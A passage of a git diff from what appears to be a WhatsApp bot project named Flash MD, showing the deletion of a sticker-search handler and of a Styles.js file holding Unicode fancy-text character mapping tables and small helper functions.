console.error("Erreur lors de la recherche de stickers :", error); - repondre("Erreur lors de la recherche de stickers."); - } -}); diff --git a/commands/Styles.js b/commands/Styles.js deleted file mode 100644 index f72ec941..00000000 --- a/commands/Styles.js +++ /dev/null @@ -1,75 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - -function apply(map, text) { - let result = ""; - for (let character of text.split("")) { - if (map[character] !== undefined) result += map[character]; - else if (map[character.toLowerCase()] !== undefined) result += map[character.toLowerCase()]; - else result += character; - } - return result; -} - -function list(text, fancy) { - let styles = Object.keys(fancy).filter(e => e.length < 3); - let msg = '\n*Fancy Disponible:*\n\n'; - for (let style in styles) { - if (style == 33) { - msg += (parseInt(style) + 1) + '. ' + 'Flash-Md' + '\n'; - } else { - msg += (parseInt(style) + 1) + '. ' + fancy.apply(fancy[parseInt(style)], text) + '\n'; - } - } - return msg; -} - -module.exports = { - 0:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๖","c":"¢","d":"໓","e":"ē","f":"f","g":"ງ","h":"h","i":"i","j":"ว","k":"k","l":"l","m":"๓","n":"ຖ","o":"໐","p":"p","q":"๑","r":"r","s":"Ş","t":"t","u":"น","v":"ง","w":"ຟ","x":"x","y":"ฯ","z":"ຊ","A":"ค","B":"๖","C":"¢","D":"໓","E":"ē","F":"f","G":"ງ","H":"h","I":"i","J":"ว","K":"k","L":"l","M":"๓","N":"ຖ","O":"໐","P":"p","Q":"๑","R":"r","S":"Ş","T":"t","U":"น","V":"ง","W":"ຟ","X":"x","Y":"ฯ","Z":"ຊ" }, - 1:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ą","b":"ც","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɠ","h":"ɧ","i":"ı","j":"ʝ","k":"ƙ","l":"Ɩ","m":"ɱ","n":"ŋ","o":"ơ","p":"℘","q":"զ","r":"ཞ","s":"ʂ","t":"ɬ","u":"ų","v":"۷","w":"ῳ","x":"ҳ","y":"ყ","z":"ʑ","A":"ą","B":"ც","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɠ","H":"ɧ","I":"ı","J":"ʝ","K":"ƙ","L":"Ɩ","M":"ɱ","N":"ŋ","O":"ơ","P":"℘","Q":"զ","R":"ཞ","S":"ʂ","T":"ɬ","U":"ų","V":"۷","W":"ῳ","X":"ҳ","Y":"ყ","Z":"ʑ" }, - 2:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ム","b":"乃","c":"ᄃ","d":"り","e":"乇","f":"キ","g":"ム","h":"ん","i":"ノ","j":"フ","k":"ズ","l":"レ","m":"ᄊ","n":"刀","o":"の","p":"ア","q":"ゐ","r":"尺","s":"丂","t":"イ","u":"ひ","v":"√","w":"W","x":"メ","y":"リ","z":"乙","A":"ム","B":"乃","C":"ᄃ","D":"り","E":"乇","F":"キ","G":"ム","H":"ん","I":"ノ","J":"フ","K":"ズ","L":"レ","M":"ᄊ","N":"刀","O":"の","P":"ア","Q":"ゐ","R":"尺","S":"丂","T":"イ","U":"ひ","V":"√","W":"W","X":"メ","Y":"リ","Z":"乙" }, - 3:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"卂","b":"乃","c":"匚","d":"ᗪ","e":"乇","f":"千","g":"Ꮆ","h":"卄","i":"丨","j":"フ","k":"Ҝ","l":"ㄥ","m":"爪","n":"几","o":"ㄖ","p":"卩","q":"Ɋ","r":"尺","s":"丂","t":"ㄒ","u":"ㄩ","v":"ᐯ","w":"山","x":"乂","y":"ㄚ","z":"乙","A":"卂","B":"乃","C":"匚","D":"ᗪ","E":"乇","F":"千","G":"Ꮆ","H":"卄","I":"丨","J":"フ","K":"Ҝ","L":"ㄥ","M":"爪","N":"几","O":"ㄖ","P":"卩","Q":"Ɋ","R":"尺","S":"丂","T":"ㄒ","U":"ㄩ","V":"ᐯ","W":"山","X":"乂","Y":"ㄚ","Z":"乙" }, - 4:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"🄰","b":"🄱","c":"🄲","d":"🄳","e":"🄴","f":"🄵","g":"🄶","h":"🄷","i":"🄸","j":"🄹","k":"🄺","l":"🄻","m":"🄼","n":"🄽","o":"🄾","p":"🄿","q":"🅀","r":"🅁","s":"🅂","t":"🅃","u":"🅄","v":"🅅","w":"🅆","x":"🅇","y":"🅈","z":"🅉","A":"🄰","B":"🄱","C":"🄲","D":"🄳","E":"🄴","F":"🄵","G":"🄶","H":"🄷","I":"🄸","J":"🄹","K":"🄺","L":"🄻","M":"🄼","N":"🄽","O":"🄾","P":"🄿","Q":"🅀","R":"🅁","S":"🅂","T":"🅃","U":"🅄","V":"🅅","W":"🅆","X":"🅇","Y":"🅈","Z":"🅉" }, - 5:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Ꮧ","b":"Ᏸ","c":"ፈ","d":"Ꮄ","e":"Ꮛ","f":"Ꭶ","g":"Ꮆ","h":"Ꮒ","i":"Ꭵ","j":"Ꮰ","k":"Ꮶ","l":"Ꮭ","m":"Ꮇ","n":"Ꮑ","o":"Ꭷ","p":"Ꭾ","q":"Ꭴ","r":"Ꮢ","s":"Ꮥ","t":"Ꮦ","u":"Ꮼ","v":"Ꮙ","w":"Ꮗ","x":"ጀ","y":"Ꭹ","z":"ፚ","A":"Ꮧ","B":"Ᏸ","C":"ፈ","D":"Ꮄ","E":"Ꮛ","F":"Ꭶ","G":"Ꮆ","H":"Ꮒ","I":"Ꭵ","J":"Ꮰ","K":"Ꮶ","L":"Ꮭ","M":"Ꮇ","N":"Ꮑ","O":"Ꭷ","P":"Ꭾ","Q":"Ꭴ","R":"Ꮢ","S":"Ꮥ","T":"Ꮦ","U":"Ꮼ","V":"Ꮙ","W":"Ꮗ","X":"ጀ","Y":"Ꭹ","Z":"ፚ" }, - 6:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ᗩ","b":"ᗷ","c":"ᑕ","d":"ᗪ","e":"E","f":"ᖴ","g":"G","h":"ᕼ","i":"I","j":"ᒍ","k":"K","l":"ᒪ","m":"ᗰ","n":"ᑎ","o":"O","p":"ᑭ","q":"ᑫ","r":"ᖇ","s":"ᔕ","t":"T","u":"ᑌ","v":"ᐯ","w":"ᗯ","x":"᙭","y":"Y","z":"ᘔ","A":"ᗩ","B":"ᗷ","C":"ᑕ","D":"ᗪ","E":"E","F":"ᖴ","G":"G","H":"ᕼ","I":"I","J":"ᒍ","K":"K","L":"ᒪ","M":"ᗰ","N":"ᑎ","O":"O","P":"ᑭ","Q":"ᑫ","R":"ᖇ","S":"ᔕ","T":"T","U":"ᑌ","V":"ᐯ","W":"ᗯ","X":"᙭","Y":"Y","Z":"ᘔ" }, - 7:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ǟ","b":"ɮ","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɢ","h":"ɦ","i":"ɨ","j":"ʝ","k":"ӄ","l":"ʟ","m":"ʍ","n":"ռ","o":"օ","p":"ք","q":"զ","r":"ʀ","s":"ֆ","t":"ȶ","u":"ʊ","v":"ʋ","w":"ա","x":"Ӽ","y":"ʏ","z":"ʐ","A":"ǟ","B":"ɮ","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɢ","H":"ɦ","I":"ɨ","J":"ʝ","K":"ӄ","L":"ʟ","M":"ʍ","N":"ռ","O":"օ","P":"ք","Q":"զ","R":"ʀ","S":"ֆ","T":"ȶ","U":"ʊ","V":"ʋ","W":"ա","X":"Ӽ","Y":"ʏ","Z":"ʐ" }, - 8:{"0":"𝟶","1":"𝟷","2":"𝟸","3":"𝟹","4":"𝟺","5":"𝟻","6":"𝟼","7":"𝟽","8":"𝟾","9":"𝟿","a":"𝚊","b":"𝚋","c":"𝚌","d":"𝚍","e":"𝚎","f":"𝚏","g":"𝚐","h":"𝚑","i":"𝚒","j":"𝚓","k":"𝚔","l":"𝚕","m":"𝚖","n":"𝚗","o":"𝚘","p":"𝚙","q":"𝚚","r":"𝚛","s":"𝚜","t":"𝚝","u":"𝚞","v":"𝚟","w":"𝚠","x":"𝚡","y":"𝚢","z":"𝚣","A":"𝙰","B":"𝙱","C":"𝙲","D":"𝙳","E":"𝙴","F":"𝙵","G":"𝙶","H":"𝙷","I":"𝙸","J":"𝙹","K":"𝙺","L":"𝙻","M":"𝙼","N":"𝙽","O":"𝙾","P":"𝙿","Q":"𝚀","R":"𝚁","S":"𝚂","T":"𝚃","U":"𝚄","V":"𝚅","W":"𝚆","X":"𝚇","Y":"𝚈","Z":"𝚉" }, - 9:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝙖","b":"𝙗","c":"𝙘","d":"𝙙","e":"𝙚","f":"𝙛","g":"𝙜","h":"𝙝","i":"𝙞","j":"𝙟","k":"𝙠","l":"𝙡","m":"𝙢","n":"𝙣","o":"𝙤","p":"𝙥","q":"𝙦","r":"𝙧","s":"𝙨","t":"𝙩","u":"𝙪","v":"𝙫","w":"𝙬","x":"𝙭","y":"𝙮","z":"𝙯","A":"𝘼","B":"𝘽","C":"𝘾","D":"𝘿","E":"𝙀","F":"𝙁","G":"𝙂","H":"𝙃","I":"𝙄","J":"𝙅","K":"𝙆","L":"𝙇","M":"𝙈","N":"𝙉","O":"𝙊","P":"𝙋","Q":"𝙌","R":"𝙍","S":"𝙎","T":"𝙏","U":"𝙐","V":"𝙑","W":"𝙒","X":"𝙓","Y":"𝙔","Z":"𝙕" }, - 10:{"0":"𝟎","1":"𝟏","2":"𝟐","3":"𝟑","4":"𝟒","5":"𝟓","6":"𝟔","7":"𝟕","8":"𝟖","9":"𝟗","a":"𝐚","b":"𝐛","c":"𝐜","d":"𝐝","e":"𝐞","f":"𝐟","g":"𝐠","h":"𝐡","i":"𝐢","j":"𝐣","k":"𝐤","l":"𝐥","m":"𝐦","n":"𝐧","o":"𝐨","p":"𝐩","q":"𝐪","r":"𝐫","s":"𝐬","t":"𝐭","u":"𝐮","v":"𝐯","w":"𝐰","x":"𝐱","y":"𝐲","z":"𝐳","A":"𝐀","B":"𝐁","C":"𝐂","D":"𝐃","E":"𝐄","F":"𝐅","G":"𝐆","H":"𝐇","I":"𝐈","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝐌","N":"𝐍","O":"𝐎","P":"𝐏","Q":"𝐐","R":"𝐑","S":"𝐒","T":"𝐓","U":"𝐔","V":"𝐕","W":"𝐖","X":"𝐗","Y":"𝐘","Z":"𝐙" }, - 11:{"0":"𝟬","1":"𝟭","2":"𝟮","3":"𝟯","4":"𝟰","5":"𝟱","6":"𝟲","7":"𝟳","8":"𝟴","9":"𝟵","a":"𝗮","b":"𝗯","c":"𝗰","d":"𝗱","e":"𝗲","f":"𝗳","g":"𝗴","h":"𝗵","i":"𝗶","j":"𝗷","k":"𝗸","l":"𝗹","m":"𝗺","n":"𝗻","o":"𝗼","p":"𝗽","q":"𝗾","r":"𝗿","s":"𝘀","t":"𝘁","u":"𝘂","v":"𝘃","w":"𝘄","x":"𝘅","y":"𝘆","z":"𝘇","A":"𝗔","B":"𝗕","C":"𝗖","D":"𝗗","E":"𝗘","F":"𝗙","G":"𝗚","H":"𝗛","I":"𝗜","J":"𝗝","K":"𝗞","L":"𝗟","M":"𝗠","N":"𝗡","O":"𝗢","P":"𝗣","Q":"𝗤","R":"𝗥","S":"𝗦","T":"𝗧","U":"𝗨","V":"𝗩","W":"𝗪","X":"𝗫","Y":"𝗬","Z":"𝗭" }, - 12: {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝘢","b":"𝘣","c":"𝘤","d":"𝘥","e":"𝘦","f":"𝘧","g":"𝘨","h":"𝘩","i":"𝘪","j":"𝘫","k":"𝘬","l":"𝘭","m":"𝘮","n":"𝘯","o":"𝘰","p":"𝘱","q":"𝘲","r":"𝘳","s":"𝘴","t":"𝘵","u":"𝘶","v":"𝘷","w":"𝘸","x":"𝘹","y":"𝘺","z":"𝘻","A":"𝘈","B":"𝘉","C":"𝘊","D":"𝘋","E":"𝘌","F":"𝘍","G":"𝘎","H":"𝘏","I":"𝘐","J":"𝘑","K":"𝘒","L":"𝘓","M":"𝘔","N":"𝘕","O":"𝘖","P":"𝘗","Q":"𝘘","R":"𝘙","S":"𝘚","T":"𝘛","U":"𝘜","V":"𝘝","W":"𝘞","X":"𝘟","Y":"𝘠","Z":"𝘡" }, - 13:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"Ⴆ","c":"ƈ","d":"ԃ","e":"ҽ","f":"ϝ","g":"ɠ","h":"ԋ","i":"ι","j":"ʝ","k":"ƙ","l":"ʅ","m":"ɱ","n":"ɳ","o":"σ","p":"ρ","q":"ϙ","r":"ɾ","s":"ʂ","t":"ƚ","u":"υ","v":"ʋ","w":"ɯ","x":"x","y":"ყ","z":"ȥ","A":"A","B":"B","C":"C","D":"D","E":"E","F":"F","G":"G","H":"H","I":"I","J":"J","K":"K","L":"L","M":"M","N":"N","O":"O","P":"P","Q":"Q","R":"R","S":"S","T":"T","U":"U","V":"V","W":"W","X":"X","Y":"Y","Z":"Z" }, - 14:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"₳","b":"฿","c":"₵","d":"Đ","e":"Ɇ","f":"₣","g":"₲","h":"Ⱨ","i":"ł","j":"J","k":"₭","l":"Ⱡ","m":"₥","n":"₦","o":"Ø","p":"₱","q":"Q","r":"Ɽ","s":"₴","t":"₮","u":"Ʉ","v":"V","w":"₩","x":"Ӿ","y":"Ɏ","z":"Ⱬ","A":"₳","B":"฿","C":"₵","D":"Đ","E":"Ɇ","F":"₣","G":"₲","H":"Ⱨ","I":"ł","J":"J","K":"₭","L":"Ⱡ","M":"₥","N":"₦","O":"Ø","P":"₱","Q":"Q","R":"Ɽ","S":"₴","T":"₮","U":"Ʉ","V":"V","W":"₩","X":"Ӿ","Y":"Ɏ","Z":"Ⱬ" }, - 15:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"å","b":"ß","c":"¢","d":"Ð","e":"ê","f":"£","g":"g","h":"h","i":"ï","j":"j","k":"k","l":"l","m":"m","n":"ñ","o":"ð","p":"þ","q":"q","r":"r","s":"§","t":"†","u":"µ","v":"v","w":"w","x":"x","y":"¥","z":"z","A":"Ä","B":"ß","C":"Ç","D":"Ð","E":"È","F":"£","G":"G","H":"H","I":"Ì","J":"J","K":"K","L":"L","M":"M","N":"ñ","O":"Ö","P":"þ","Q":"Q","R":"R","S":"§","T":"†","U":"Ú","V":"V","W":"W","X":"×","Y":"¥","Z":"Z" }, - 16:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"в","c":"¢","d":"∂","e":"є","f":"ƒ","g":"g","h":"н","i":"ι","j":"נ","k":"к","l":"ℓ","m":"м","n":"η","o":"σ","p":"ρ","q":"q","r":"я","s":"ѕ","t":"т","u":"υ","v":"ν","w":"ω","x":"χ","y":"у","z":"z","A":"α","B":"в","C":"¢","D":"∂","E":"є","F":"ƒ","G":"g","H":"н","I":"ι","J":"נ","K":"к","L":"ℓ","M":"м","N":"η","O":"σ","P":"ρ","Q":"q","R":"я","S":"ѕ","T":"т","U":"υ","V":"ν","W":"ω","X":"χ","Y":"у","Z":"z" }, - 17:{"0":"⊘","1":"𝟙","2":"ϩ","3":"Ӡ","4":"५","5":"Ƽ","6":"Ϭ","7":"7","8":"𝟠","9":"९","a":"ą","b":"ҍ","c":"ç","d":"ժ","e":"ҽ","f":"ƒ","g":"ց","h":"հ","i":"ì","j":"ʝ","k":"ҟ","l":"Ӏ","m":"ʍ","n":"ղ","o":"օ","p":"ք","q":"զ","r":"ɾ","s":"ʂ","t":"է","u":"մ","v":"ѵ","w":"ա","x":"×","y":"վ","z":"Հ","A":"Ⱥ","B":"β","C":"↻","D":"Ꭰ","E":"Ɛ","F":"Ƒ","G":"Ɠ","H":"Ƕ","I":"į","J":"ل","K":"Ҡ","L":"Ꝉ","M":"Ɱ","N":"ហ","O":"ට","P":"φ","Q":"Ҩ","R":"འ","S":"Ϛ","T":"Ͳ","U":"Ա","V":"Ỽ","W":"చ","X":"ჯ","Y":"Ӌ","Z":"ɀ" }, - 18:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Λ","b":"B","c":"ᄃ","d":"D","e":"Σ","f":"F","g":"G","h":"Ή","i":"I","j":"J","k":"K","l":"ᄂ","m":"M","n":"П","o":"Ө","p":"P","q":"Q","r":"Я","s":"Ƨ","t":"Ƭ","u":"Ц","v":"V","w":"Щ","x":"X","y":"Y","z":"Z","A":"Λ","B":"B","C":"ᄃ","D":"D","E":"Σ","F":"F","G":"G","H":"Ή","I":"I","J":"J","K":"K","L":"ᄂ","M":"M","N":"П","O":"Ө","P":"P","Q":"Q","R":"Я","S":"Ƨ","T":"Ƭ","U":"Ц","V":"V","W":"Щ","X":"X","Y":"Y","Z":"Z" }, - 19:{"0":"₀","1":"₁","2":"₂","3":"₃","4":"₄","5":"₅","6":"₆","7":"₇","8":"₈","9":"₉","a":"ₐ","b":"b","c":"c","d":"d","e":"ₑ","f":"f","g":"g","h":"ₕ","i":"ᵢ","j":"ⱼ","k":"ₖ","l":"ₗ","m":"ₘ","n":"ₙ","o":"ₒ","p":"ₚ","q":"q","r":"ᵣ","s":"ₛ","t":"ₜ","u":"ᵤ","v":"ᵥ","w":"w","x":"ₓ","y":"y","z":"z","A":"ₐ","B":"B","C":"C","D":"D","E":"ₑ","F":"F","G":"G","H":"ₕ","I":"ᵢ","J":"ⱼ","K":"ₖ","L":"ₗ","M":"ₘ","N":"ₙ","O":"ₒ","P":"ₚ","Q":"Q","R":"ᵣ","S":"ₛ","T":"ₜ","U":"ᵤ","V":"ᵥ","W":"W","X":"ₓ","Y":"Y","Z":"Z","+":"₊","-":"₋",":":"₌","(":"₍",")":"₎" }, - 20:{"0":"⁰","1":"¹","2":"²","3":"³","4":"⁴","5":"⁵","6":"⁶","7":"⁷","8":"⁸","9":"⁹","a":"ᵃ","b":"ᵇ","c":"ᶜ","d":"ᵈ","e":"ᵉ","f":"ᶠ","g":"ᵍ","h":"ʰ","i":"ⁱ","j":"ʲ","k":"ᵏ","l":"ˡ","m":"ᵐ","n":"ⁿ","o":"ᵒ","p":"ᵖ","q":"q","r":"ʳ","s":"ˢ","t":"ᵗ","u":"ᵘ","v":"ᵛ","w":"ʷ","x":"ˣ","y":"ʸ","z":"ᶻ","A":"ᴬ","B":"ᴮ","C":"ᶜ","D":"ᴰ","E":"ᴱ","F":"ᶠ","G":"ᴳ","H":"ᴴ","I":"ᴵ","J":"ᴶ","K":"ᴷ","L":"ᴸ","M":"ᴹ","N":"ᴺ","O":"ᴼ","P":"ᴾ","Q":"Q","R":"ᴿ","S":"ˢ","T":"ᵀ","U":"ᵁ","V":"ⱽ","W":"ᵂ","X":"ˣ","Y":"ʸ","Z":"ᶻ","+":"⁺","-":"⁻",":":"⁼","(":"⁽",")":"⁾" }, - 21:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๒","c":"ς","d":"๔","e":"є","f":"Ŧ","g":"ﻮ","h":"ђ","i":"เ","j":"ן","k":"к","l":"ɭ","m":"๓","n":"ภ","o":"๏","p":"ק","q":"ợ","r":"г","s":"ร","t":"Շ","u":"ย","v":"ש","w":"ฬ","x":"א","y":"ץ","z":"չ","A":"ค","B":"๒","C":"ς","D":"๔","E":"є","F":"Ŧ","G":"ﻮ","H":"ђ","I":"เ","J":"ן","K":"к","L":"ɭ","M":"๓","N":"ภ","O":"๏","P":"ק","Q":"ợ","R":"г","S":"ร","T":"Շ","U":"ย","V":"ש","W":"ฬ","X":"א","Y":"ץ","Z":"չ" }, - 22:{"0":"𝟘","1":"𝟙","2":"𝟚","3":"𝟛","4":"𝟜","5":"𝟝","6":"𝟞","7":"𝟟","8":"𝟠","9":"𝟡","a":"𝕒","b":"𝕓","c":"𝕔","d":"𝕕","e":"𝕖","f":"𝕗","g":"𝕘","h":"𝕙","i":"𝕚","j":"𝕛","k":"𝕜","l":"𝕝","m":"𝕞","n":"𝕟","o":"𝕠","p":"𝕡","q":"𝕢","r":"𝕣","s":"𝕤","t":"𝕥","u":"𝕦","v":"𝕧","w":"𝕨","x":"𝕩","y":"𝕪","z":"𝕫","A":"𝔸","B":"𝔹","C":"ℂ","D":"𝔻","E":"𝔼","F":"𝔽","G":"𝔾","H":"ℍ","I":"𝕀","J":"𝕁","K":"𝕂","L":"𝕃","M":"𝕄","N":"ℕ","O":"𝕆","P":"ℙ","Q":"ℚ","R":"ℝ","S":"𝕊","T":"𝕋","U":"𝕌","V":"𝕍","W":"𝕎","X":"𝕏","Y":"𝕐","Z":"ℤ" }, - 23:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝖆","b":"𝖇","c":"𝖈","d":"𝖉","e":"𝖊","f":"𝖋","g":"𝖌","h":"𝖍","i":"𝖎","j":"𝖏","k":"𝖐","l":"𝖑","m":"𝖒","n":"𝖓","o":"𝖔","p":"𝖕","q":"𝖖","r":"𝖗","s":"𝖘","t":"𝖙","u":"𝖚","v":"𝖛","w":"𝖜","x":"𝖝","y":"𝖞","z":"𝖟","A":"𝕬","B":"𝕭","C":"𝕮","D":"𝕯","E":"𝕰","F":"𝕱","G":"𝕲","H":"𝕳","I":"𝕴","J":"𝕵","K":"𝕶","L":"𝕷","M":"𝕸","N":"𝕹","O":"𝕺","P":"𝕻","Q":"𝕼","R":"𝕽","S":"𝕾","T":"𝕿","U":"𝖀","V":"𝖁","W":"𝖂","X":"𝖃","Y":"𝖄","Z":"𝖅" }, - 24:{q:"🆀",w:"🆆",e:"🅴",r:"🆁",t:"🆃",y:"🆈",u:"🆄",i:"🅸",o:"🅾",p:"🅿",a:"🅰",s:"🆂",d:"🅳",f:"🅵",g:"🅶",h:"🅷",j:"🅹",k:"🅺",l:"🅻",z:"🆉",x:"🆇",c:"🅲",v:"🆅",b:"🅱",n:"🅽",m:"🅼"}, - 25:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝓪","b":"𝓫","c":"𝓬","d":"𝓭","e":"𝓮","f":"𝓯","g":"𝓰","h":"𝓱","i":"𝓲","j":"𝓳","k":"𝓴","l":"𝓵","m":"𝓶","n":"𝓷","o":"𝓸","p":"𝓹","q":"𝓺","r":"𝓻","s":"𝓼","t":"𝓽","u":"𝓾","v":"𝓿","w":"𝔀","x":"𝔁","y":"𝔂","z":"𝔃","A":"𝓐","B":"𝓑","C":"𝓒","D":"𝓓","E":"𝓔","F":"𝓕","G":"𝓖","H":"𝓗","I":"𝓘","J":"𝓙","K":"𝓚","L":"𝓛","M":"𝓜","N":"𝓝","O":"𝓞","P":"𝓟","Q":"𝓠","R":"𝓡","S":"𝓢","T":"𝓣","U":"𝓤","V":"𝓥","W":"𝓦","X":"𝓧","Y":"𝓨","Z":"𝓩" }, - 26:{"a":"𝔞","b":"𝔟","c":"𝔠","d":"𝔡","e":"𝔢","f":"𝔣","g":"𝔤","h":"𝔥","i":"𝔦","j":"𝔧","k":"𝔨","l":"𝔩","m":"𝔪","n":"𝔫","o":"𝔬","p":"𝔭","q":"𝔮","r":"𝔯","s":"𝔰","t":"𝔱","u":"𝔲","v":"𝔳","w":"𝔴","x":"𝔵","y":"𝔶","z":"𝔷","A":"𝔄","B":"𝔅","C":"ℭ","D":"𝔇","E":"𝔈","F":"𝔉","G":"𝔊","H":"ℌ","I":"ℑ","J":"𝔍","K":"𝔎","L":"𝔏","M":"𝔐","N":"𝔑","O":"𝔒","P":"𝔓","Q":"𝔔","R":"ℜ","S":"𝔖","T":"𝔗","U":"𝔘","V":"𝔙","W":"𝔚","X":"𝔛","Y":"𝔜","Z":"ℨ" }, - 27:{"`":"`","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","0":"0","-":"-",":":"=","~":"~","!":"!","@":"@","#":"#","$":"$","%":"%","^":"^","&":"&","*":"*","(":"(",")":")","_":"_","+":"+","q":"q","w":"w","e":"e","r":"r","t":"t","y":"y","u":"u","i":"i","o":"o","p":"p","[":"[","]":"]","\\":"\\","Q":"Q","W":"W","E":"E","R":"R","T":"T","Y":"Y","U":"U","I":"I","O":"O","P":"P","{":"{","}":"}","|":"|","a":"a","s":"s","d":"d","f":"f","g":"g","h":"h","j":"j","k":"k","l":"l",";":";","'":"'","A":"A","S":"S","D":"D","F":"F","G":"G","H":"H","J":"J","K":"K","L":"L",":":":","\"":"\"","z":"z","x":"x","c":"c","v":"v","b":"b","n":"n","m":"m",",":",",".":".","/":"/","Z":"Z","X":"X","C":"C","V":"V","B":"B","N":"N","M":"M","<":"<",">":">","?":"?"}, - 28:{"a":"ᴀ","b":"ʙ","c":"ᴄ","d":"ᴅ","e":"ᴇ","f":"ғ","g":"ɢ","h":"ʜ","i":"ɪ","j":"ᴊ","k":"ᴋ","l":"ʟ","m":"ᴍ","n":"ɴ","o":"ᴏ","p":"ᴘ","q":"ǫ","r":"ʀ","s":"s","t":"ᴛ","u":"ᴜ","v":"ᴠ","w":"ᴡ","x":"x","y":"ʏ","z":"ᴢ","A":"ᴀ","B":"ʙ","C":"ᴄ","D":"ᴅ","E":"ᴇ","F":"ғ","G":"ɢ","H":"ʜ","I":"ɪ","J":"ᴊ","K":"ᴋ","L":"ʟ","M":"ᴍ","N":"ɴ","O":"ᴏ","P":"ᴘ","Q":"ǫ","R":"ʀ","S":"s","T":"ᴛ","U":"ᴜ","V":"ᴠ","W":"ᴡ","X":"x","Y":"ʏ","Z":"ᴢ" }, - 29:{"a":"𝒂","b":"𝒃","c":"𝒄","d":"𝒅","e":"𝒆","f":"𝒇","g":"𝒈","h":"𝒉","i":"𝒊","j":"𝒋","k":"𝒌","l":"𝒍","m":"𝒎","n":"𝒏","o":"𝒐","p":"𝒑","q":"𝒒","r":"𝒓","s":"𝒔","t":"𝒕","u":"𝒖","v":"𝒗","w":"𝒘","x":"𝒙","y":"𝒚","z":"𝒛","A":"𝐴","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝐸","F":"𝐹","G":"𝐺","H":"𝐻","I":"𝐼","J":"𝐽","K":"𝐾","L":"𝐿","M":"𝑀","N":"𝑁","O":"𝑂","P":"𝑃","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝑉","W":"𝑊","X":"𝑋","Y":"𝑌","Z":"𝑍" }, - 30:{"a":"𝛥","b":"𝐵","c":"𝐶","d":"𝐷","e":"𝛯","f":"𝐹","g":"𝐺","h":"𝛨","i":"𝛪","j":"𝐽","k":"𝛫","l":"𝐿","m":"𝛭","n":"𝛮","o":"𝛩","p":"𝛲","q":"𝑄","r":"𝑅","s":"𝑆","t":"𝑇","u":"𝑈","v":"𝛻","w":"𝑊","x":"𝛸","y":"𝑌","z":"𝛧","A":"𝛥","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝛯","F":"𝐹","G":"𝐺","H":"𝛨","I":"𝛪","J":"𝐽","K":"𝛫","L":"𝐿","M":"𝛭","N":"𝛮","O":"𝛩","P":"𝛲","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝛻","W":"𝑊","X":"𝛸","Y":"𝑌","Z":"𝛧"}, - 